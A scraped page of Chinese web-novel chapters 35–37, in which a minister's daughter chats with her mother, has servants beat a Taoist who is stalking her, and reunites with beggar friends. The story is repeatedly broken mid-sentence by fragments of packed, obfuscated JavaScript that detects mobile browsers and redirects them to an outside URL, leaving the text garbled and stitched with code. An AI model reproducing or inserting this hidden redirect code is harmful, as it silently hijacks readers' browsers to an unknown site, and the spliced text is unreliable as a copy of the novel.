RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992204|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿弥陀佛了。” 她仔细端详女儿的脸,忽然问:“你这丫头,脾气怎么越来越暴?一言不合就动手。今日没受伤吧?” 闻歌听出母亲话里的担忧,心头一暖,那股憋屈感散了些。她挺直腰板,眉飞色舞起来:“娘放心!就他们那三脚猫功夫,哪是我的对手?您没看见,我把他们打得满地找牙,尤其是李霸——仗着有个尚书爹,猖狂得没边儿,我专挑他脸打!把他娘心疼得哟……” 她边说边比划,模仿自己出拳踢腿的动作,说到兴奋处,眼睛亮晶晶的。 丞相夫人看着女儿这副神采飞扬的模样,又是好笑又是心疼。她伸手戳了戳闻歌的额头:“死丫头,一个姑娘家,动不动就喊打喊杀,以后谁敢娶你?” “我才不要人娶!”闻歌脱口而出,说完自己也愣了一下。 嫁人?她从来没认真想过。她是要修仙的人,怎么能困在深宅后院?要是真有人敢娶她……嗯,先整得他怀疑人生再说!不过神仙好像不能乱杀人?那就……卖到南风馆去!让他也尝尝被欺负的滋味! 想着想着,她忍不住“噗嗤”笑出声。 “笑什么?”丞相夫人瞪她,“姑娘家哪有不嫁人的道理?” “我要当小仙女!”闻歌抱住母亲的胳膊,耍赖似的晃了晃,“自由自在,腾云驾雾,想去哪儿去哪儿——多好!” “你呀,”丞相夫人无奈地点她额头,“整天胡思乱想。这世上哪有什么神仙?” “真的有!”闻歌不服,“娘您等着,总有一天我修炼成仙,驾着祥云回来看您!到时候您就知道我说的是真是假了!” 丞相夫人只当女儿又说疯话,叹道:“你呀,先把眼前这一堆麻烦料理清楚再说吧。瞧瞧你惹的这些事,哪一桩不是杀头的大罪?要不是你爹在皇上面前求情,你这颗小脑袋,早不知道搬几回家啦!” “我的脑袋结实着呢!”闻歌笑嘻嘻地晃了晃头,“您看,晃不掉吧?” 她心里却想:我可是要成仙的人,天命所归!想取我脑袋的刀,这世上还没造出来呢! “是该好好晃晃,”丞相夫人没好气,“把脑子里的水晃干净些,免得整天惹是生非,哪天连累全家。” “才不会!”闻歌抱住母亲,下巴搁在她肩上,声音软了下来,“皇上不是挺喜欢我的吗?封我当安国郡主,赏黄金绢匹,现在还让我当八府巡按……说明我很有用呀!” 她说得理直气壮,心里却莫名闪过萧昌那张时而戏谑、时而深沉的脸。 那个狗皇帝……虽然讨厌,但确实几次三番护着她。 丞相夫人听她提到皇上,眼神微动,欲言又止,最终只是轻轻摸了摸女儿的头发。 马车在暮色中平稳前行。车外,京城华灯初上,炊烟袅袅;车内,炭火噼啪,暖意融融。 闻歌靠在母亲肩头,闭上眼睛。 今日种种,像走马灯般在脑中回放——李霸的惨叫,闻涵的怨恨,二夫人的指责,李尚书虚伪的笑,还有廊后那道一闪而过的、属于皇叔的影子。 **人心之冷暖,世情之薄厚,原来不过是一夕之间、一言之事。** 但无论如何,该做的事,她做了;该护的人,她护了。 至于那些不懂感恩的、反咬一口的…… 闻歌睁开眼,眼底掠过一丝冷光。 下次,她还会出手吗? 会的。 但不是为了她们。 是为了自己心里那杆秤,那点还没被这污糟世道磨平的、叫做“公道”的东西。 马车驶入丞相府角门。 而更深的风雪,或许正在看不见的地方,悄然酝酿。 36. 第 36 章 马车在青石路上辘辘前行,车厢内炭火盆烧得正暖,将冬日的寒气隔绝在外。 闻歌倚在母亲肩头,脑子里却还转着刚才的事。想着想着,她忽然噗嗤一声笑了出来。 “笑什么?”丞相夫人侧目看她。 “我在想皇上,”闻歌眼睛弯成月牙,“娘您说,皇上是不是挺有意思?我每折腾一出,他非但不罚,反倒赏我——封郡主,赐金银,现在连八府巡按都让我当了。”她托着腮,异想天开,“就差没跟我说:‘闻歌,这皇位你来坐,我给你当妃子’了。” 她越想越乐:“您说,我要是真点头,他会不会真把江山让给我?” 丞相夫人抬手点了下她额头:“死丫头,越说越没边了!‘伴君如伴虎’这话,你是真不懂还是装不懂?” 闻歌揉着额头笑:“我懂呀。可我这不活得好好的?皇上对我……好像不太一样。” “那是你命好,祖上积德!”丞相夫人叹了口气,神色严肃起来,“你真以为皇上让你查案是抬举你?这案子牵扯多大,多危险,你想过没有?” “危险我当然知道,”闻歌坐直身子,“可我拒绝了呀。是皇上不让,非要我接。不过我也没吃亏——”她狡黠地眨眨眼,“我跟他打了赌。” “打赌?” “嗯。我若三个月内破案,他就答应不再召我入宫,不再提纳妃之事。”闻歌说着,眼底闪过自信的光,“三个月,绰绰有余。” 她其实觉得一个月都够——有五个小鬼帮忙,查点线索还不是手到擒来?说三个月,那是谦虚。 丞相夫人却听得心惊肉跳:“三个月?你这孩子,怎敢跟皇上打这种赌!若是破不了……” “破不了我就认栽呗,”闻歌故作轻松,“反正……”她没说完,心里却有个声音小声说:反正不可能破不了。 “皇上也是,”丞相夫人忧心忡忡,“后宫佳丽三千,怎么就偏盯上你了?” “那说明您女儿生得好看呀,”闻歌凑到母亲面前,笑嘻嘻的,“可爱,单纯,人见人爱——” “是傻!”丞相夫人又气又心疼,“耿直,善良,没心眼儿!这世道,你这样的性子最容易吃亏!” 她握住女儿的手,掌心温热,语气却沉重:“歌儿,娘说句掏心窝的话——娘不希望你跟皇上走得太近。高处不胜寒,多少双眼睛盯着那个位置,多少明枪暗箭防不胜防。咱们闻家虽是望族,可在这皇权面前,也不过是……” 她没说完,但闻歌听懂了。 “娘,我明白。”闻歌把头靠回母亲肩上,声音轻了下来,“等办完这案子,我就离皇上远远的,安心修仙去。” 说是这么说,她心里却有些乱。那个时而荒唐、时而深沉的帝王,那个在朝堂上为她据理力争的身影,那个笑着跟她打赌说“朕等你”的眼神……像一根根细丝,不知不觉缠在心上。 **有些人,越是告诉自己不要靠近,他的影子反而在心里扎得越深。** “你能明白最好。”丞相夫人轻抚女儿的头发,“他是皇上,手握生杀大权。今日宠你,明日就可能……”她顿了顿,转开话头,“况且后宫那地方,不适合你。那里要的是八面玲珑,能把黑的说成白,错的说成对。你若真进去了,就得眼睁睁看着自己的夫君夜夜宿在别人房中,还得笑着替他打理那些女人间的明争暗斗——那些争斗,哪一件不牵扯前朝?稍有不慎,便是万劫不复。” 闻歌沉默着,手指无意识地在裙摆上画圈。 她想起宫宴上那些妃嫔——皇后端庄微笑下的冰冷,齐妃楚妃眼底的算计,闻清毫不掩饰的嫉恨……那不是她想要的生活。 “娘放心,”她终于开口,声音很轻,却很坚定,“我不会去后宫的。那里……太闷了,会把我憋死。” 丞相夫人这才稍稍安心,正想再叮嘱几句,马车忽然停了下来。 闻歌掀开车帘一角往外看——还没到丞相府,正停在一个街口拐角处。 “夫人,小姐,”车夫在外头禀报,“有个老道士,一路跟着咱们的马车,鬼鬼祟祟的。” 丞相夫人蹙眉:“道士?” 闻歌心里咯噔一下——张天师!这老道还不死心! 她面上却不显,只撇嘴道:“就是个疯道士,整天追着我胡说八道,说什么我是仙女转世,不该留恋红尘,该潜心修仙——烦死了,我才懒得理他。” “什么?!”丞相夫人顿时火起,“修仙?他还敢怂恿你修仙?!”自家女儿本就满脑子修仙念头,这道士不是火上浇油吗? 闻歌暗笑,面上却装作无奈:“可不是嘛,跟牛皮糖似的,甩都甩不掉。” 她当然不能说实话——难道告诉娘亲,这道士是来抓她身边那五只小鬼的?那还不把娘吓出病来。 丞相夫人脸色沉了下来,朝外唤道:“小桃!” 小桃忙从后头丫鬟坐的小车里过来:“夫人有何吩咐?” “你去,找几个得力的人,”丞相夫人冷声道,“给那老道士一点教训。让他知道,蛊惑官家小姐是什么下场!” “是!”小桃应得响亮,转身就去安排。 闻歌心里乐开了花,嘴上却假惺惺道:“娘,这样……不太好吧?毕竟是出家人……” “出家人更该守清规!”丞相夫人斩钉截铁,“今日不给他点颜色看看,明日他还敢来!” 闻歌“哦”了一声,缩回母亲身边,眼里的笑意却藏不住。她掀开帘子一角,往后张望—— 暮色中,张天师那身破旧道袍在街角若隐若现,正探头探脑地往马车这边瞧,浑然不知危险将至。 马车继续前行。行至方才拐角处时,突然从巷子里冲出四五个粗壮家丁,手里提着麻袋和短棍,直扑张天师! “好你个老不修!跟踪我家小姐?!” “光天化日耍流氓!” 麻袋当头罩下,棍棒拳脚如雨点般落下。张天师猝不及防,被打得嗷嗷直叫,在地上滚作一团。 “我、我是抓、抓鬼的……”他抱头哀嚎。 “还鬼话连篇!打!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998408|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “使劲!看你还敢不敢!” 家丁们边打边骂,直到张天师连声求饶“错了错了再不敢了”,才悻悻收手,迅速消失在巷弄中。 马车顶上,五个小鬼排排坐着,看得津津有味。 鬼五托着腮:“看着真可怜……” 鬼四点头:“走到哪儿都被揍,这老头命真苦。” 鬼三撇嘴:“谁让他长得就一副欠揍相?影响市容!” 鬼二若有所思:“他会不会开始怀疑自己生辰八字了?” 鬼大老神在在:“这就是跟鬼作对的下场——不对,是跟咱们主人作对的下场。”他朝车厢努努嘴,“瞧见没?主人生起气来,战斗力少说十万往上。” 鬼四忽然笑起来:“你们说,主人这么凶,以后谁敢娶她?” 鬼三立刻摇头:“反正我不敢。太彪悍了。” 鬼二促狭:“你不是说主人长得比仙女还好看?” “好看归好看,”鬼三缩缩脖子,“命要紧。” 鬼大总结陈词:“看吧,连鬼都不敢娶。” 五个小鬼在车顶上笑作一团。 车厢里,闻歌听得清清楚楚,又好笑又好气,脱口而出:“给我闭嘴!” 丞相夫人正在闭目养神,被她突然一声吓了一跳:“歌儿,你跟谁说话呢?” 闻歌这才反应过来——母亲可看不见听不见那些小鬼!她脑筋急转,面不改色道:“啊……我好像听见那老道士在叫我。” 丞相夫人脸色更沉:“看来是打轻了!”她掀帘往后看,暮色沉沉,哪还有人影?“这么远,你能听见?” “他……他可能真会点妖术吧。”闻歌继续胡诌。 “妖术?”丞相夫人冷哼,“管他什么术,下次再让我撞见,非拆了他那把老骨头不可!” 闻歌吐吐舌头,心里对张天师说了声抱歉——虽然你活该。 车顶上,五个小鬼又开始嘀嘀咕咕。 鬼大:“咱们主人这编故事的功夫,我服。” 鬼二:“张口就来,眼睛都不眨。” 鬼三:“学到了——宁可得罪小人,别得罪主人这样的女人。” 鬼四拍胸口:“吓死我了……” 鬼五翻白眼:“都成鬼了还怕?矫情!” 闻歌在车厢里扶额——这些小鬼,真是越来越没规矩了。 马车终于驶入丞相府角门。暮色四合,檐下灯笼次第亮起,晕开一团团暖黄的光。 闻歌扶着母亲下车,回头望了一眼来路。 京城灯火渐起,街巷隐入朦胧夜色。而那个一瘸一拐、唉声叹气的道长身影,早已消失在长街尽头。 **或许人生就是如此——你永远不知道,下一个拐角等着你的是鲜花还是棍棒。能做的,不过是护好自己想护的人,走稳自己该走的路。** 至于那些魑魅魍魉、阴谋算计…… 闻歌握了握袖中那块御赐金牌,唇角微扬。 来就是了。 她等着。 37. 第 37 章 自那日与萧昌立下三月赌约,已过去大半个月光景。 闻歌的日子过得堪称“逍遥”。查案?她早将那棘手的差事一股脑儿丢给了五个小鬼,只限令它们两月内查清。小鬼们倒也爽快,唯一的条件是要“充足的供品”——于是闻歌的闺房里,时常出现糕点果品半夜消失的奇事。 “物尽其用,人尽其才,鬼尽其力。”闻歌躺在廊下的美人靠上,眯眼看着冬日稀薄的阳光,理直气壮地想,“老神仙既派它们来助我,不用白不用。” 至于她自己?整日带着小桃小红,京城里哪儿有好吃的、好玩的,便往哪儿钻。美其名曰“体察民情”、“搜寻线索”,实则连黎水城的边儿都没挨着,更别提案发的玉郎县了。 “小姐,”小桃一边擦拭多宝阁,一边嘀咕,“您这哪像查案,简直是公费游玩。就算有小鬼帮忙,您好歹也装装样子吧?” 小红也凑过来:“就是!案子在玉郎县,您整天在京城转悠,说出去谁信呀?” 闻歌伸个懒腰,浑不在意:“你们懂什么?这叫‘运筹帷幄之中,决胜千里之外’。”她翻身坐起,眼睛亮晶晶的,“别说那些扫兴的。今天本小姐胃口好,想吃点新鲜的——你们说,京城哪儿的东西最好吃?” 小桃放下抹布,认真想了想:“要论名气大、味道好,当属醉仙楼。” “对对!”小红点头如捣蒜,“醉仙楼的八宝鸭、芙蓉羹、水晶肘子……听说连宫里的御厨都偷偷去学手艺呢!” “醉仙楼?”闻歌挑眉,“这名字有意思。走,今儿咱就去尝尝,看它能不能醉倒我这个‘小仙女’。” “小姐,那里可贵了……”小桃小声提醒。 闻歌一扬下巴:“你觉得本小姐差钱?” 这倒不是吹牛。自打领了八府巡按的差事,她查案的花销直接走国库支取——也不知萧昌怎么想的,竟真批了。连皇后都破天荒替她说项,道是“办案所需”。闻歌有时觉得自己像只钻进米仓的小老鼠,吃得理直气壮,又有点心虚。 **有时候,特权来得太容易,反而让人心里不踏实。可转念一想——不用白不用,用了也白用。** 主仆三人乘轿出门。时近正午,冬日阳光难得暖融,街上行人络绎。轿子刚转过朱雀街口,忽然前方一阵骚动,竟被一群衣衫褴褛的乞丐围住了。 “行行好……给点吃的吧……” “我们已经三天没吃饭了……” “好心的小姐,赏口粥喝吧……” 约莫二三十个乞丐,有老有少,面黄肌瘦,将轿子堵得严严实实。寒风里,他们单薄的破衣瑟瑟发抖,伸出的手皴裂乌黑。 小桃连忙上前拦阻:“让开让开!我们没带钱!” 小红也捏着鼻子后退两步——乞丐身上散发的酸馊气味实在呛人。 乞丐们却不肯散,反而更围拢些,七嘴八舌地哀求。正混乱间,一个半大少年突然“哎哟”一声,直挺挺倒在轿前,恰好抓住了小桃的脚踝。 “狗子!狗子你怎么了?!”一个老婆子扑上来,抱着少年哭喊,“你可不能有事啊!你爹娘走的时候,拉着我的手要我照顾好你……你要是有个三长两短,我死后哪有脸见他们啊!” 旁边一个小姑娘也坐地大哭:“哥哥!你说要带我回家的!你骗人!你醒醒啊……” 场面顿时乱作一团。 轿帘掀开,闻歌探出身来:“怎么回事?” 小桃急道:“小姐,有个小乞丐晕倒了!” 闻歌二话不说,跨出轿子。目光扫过地上那少年苍白的脸,又看向围着的乞丐——忽然,她视线定格在那个哭喊的老婆子身上。 灰白的头发,深陷的眼窝,满是皱纹的脸……有些眼熟。 那老婆子也正抬头看她。四目相对,老婆子浑浊的眼睛一点点睁大,嘴唇哆嗦起来。她松开少年,颤巍巍站起身,指着闻歌,声音抖得不成调:“你……你是……?” 闻歌心头一震,一个名字呼之欲出。 老婆子向前挪了半步,死死盯着她的脸,忽然失声道:“你是……小哥?!” “余婶?!”闻歌脱口而出。 两个字像钥匙,瞬间打开了记忆的闸门。玉郎县郊外的破庙,篝火旁分食的窝窝头,暴雨夜里互相依偎的体温,还有……血色弥漫的清晨,四散奔逃的身影。 “是我!是我啊余婶!”闻歌冲上前,一把握住老婆子枯瘦的手。那双手冰冷粗糙,硌得她掌心发疼,可此刻却觉得无比温热。 余婶反手抓住她,上下打量,眼泪簌簌往下掉:“真是小哥……真是你!我就说,你这眉眼,你这神态……错不了!”她猛地回头,朝地上“晕倒”的少年踹了一脚,“狗子!别装死了!快起来!是小哥!是咱们的小哥啊!” 方才还气息奄奄的少年一骨碌爬起来,动作利索得哪有半点病态?他蹿到闻歌面前,瞪大眼睛看了又看,突然咧嘴笑了,露出一口白牙:“真是小哥!嘿!我就说这轿子华贵,里头肯定是个善心人——没想到是老大您!” 周围几个乞丐也围了上来,都是熟悉的面孔:总爱讲古的王瘸子,手脚麻利的三丫,憨厚的大牛……一个个虽满面尘灰,可眼睛亮得惊人。 “小哥!你还活着!” “我们还以为你被……” “太好了!真是太好了!” 闻歌看着这一张张脸,鼻子发酸,眼眶发热。那些以为早已埋葬在鲜血里的记忆,此刻鲜活地涌上来。她用力眨掉眼里的湿意,笑着捶了下狗子的肩:“好你个狗子!连装晕这招都学会了?跟谁学的?” 狗子挠头嘿嘿笑:“还不是跟您学的?当年在玉郎县,您不就是装晕骗了那王爷的米粮?” 闻歌一愣,随即大笑。是了,那时她女扮男装,领着这群乞丐难民讨生活,什么招数没用过?装晕、卖惨、声东击西……为了口吃的,真是把聪明才智发挥到了极致。 小桃小红却被这阵仗弄懵了。小桃上前想拉开那些抓着闻歌袖子的黑手:“放手!这是我家小姐!安国郡主!别弄脏了衣裳!” 闻歌却摆摆手:“小桃小红,他们就是我常跟你们提起的——我在玉郎县认识的兄弟姐妹。” 两个丫鬟愣住了。她们听过小姐讲那些“江湖往事”,却没想到,故事里的人真的会出现在眼前。 “余婶,”闻歌拉着老婆子到一旁,压低声音,“你们……怎么到京城来了?其他人呢?都还好吗?” 余婶笑容淡去,长叹一声:“那日遭了祸事,大家跑散了。我带着狗子、三丫几个一路往北走,想着离玉郎县越远越好。路上又遇着些逃难的人,就结伴而行……”她抹了把眼睛,“我们也听说你被抓了,还定了死罪……大家都以为你、你已不在了。没想到……没想到老天有眼!” 她仔细端详闻歌,泪中带笑:“瞧瞧,这才该是你的模样。多俊的姑娘,跟画儿里走出来的似的。” 这时,更多乞丐围了上来。他们大多是后来加入的,只听过“小哥”的传说——说那是个女扮男装的奇女子,领着乞丐难民开荒种地,跟官府周旋,最后却被污蔑成“妖女”……如今亲眼见到传说中的人物,竟是个锦衣华服、清丽绝俗的官家小姐,一个个都看呆了。 “这就是小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱?她有。特权?她也有。既然如此,为何不用来让这些曾经共患难、如今仍挣扎求生的人,吃上一顿饱饭? **这世上有些情义,不是锦上添花时的恭维,而是雪中送炭时的温度。它或许粗糙,却真实得烫手。** “怕什么?”闻歌回头冲两个丫鬟眨眨眼,“本小姐今日,就要当一回京城最阔气的‘丐帮帮主’!” 她转身,面向人群,振臂一挥: “走!醉仙楼——今日,咱们不醉不归!” 人群爆发出更响的欢呼。几百号乞丐簇拥着中间那抹鲜亮的衣裙,浩浩荡荡向醉仙楼进发。队伍所过之处,行人纷纷避让,指指点点,议论纷纷。 而在人群看不见的角落,五个小鬼飘在半空,看着这一幕。 鬼大抱着胳膊:“咱们主人,真是走到哪儿都是焦点。” 鬼二咂嘴:“这么多人要吃饭……得花多少钱啊?主人是不是忘了,咱们查案的‘供品’还没着落呢?” 鬼三嘻嘻笑:“反正皇上掏钱。” 鬼四忽然压低声音:“你们说……咱们趁乱去醉仙楼厨房,先顺几只烧鸡,不过分吧?” 鬼五举手:“我要水晶肘子!” 夕阳将这支奇特的队伍影子拉得很长。长街尽头,醉仙楼的金字招牌在余晖中闪闪发亮。 而一场前所未有的“宴席”,即将开席。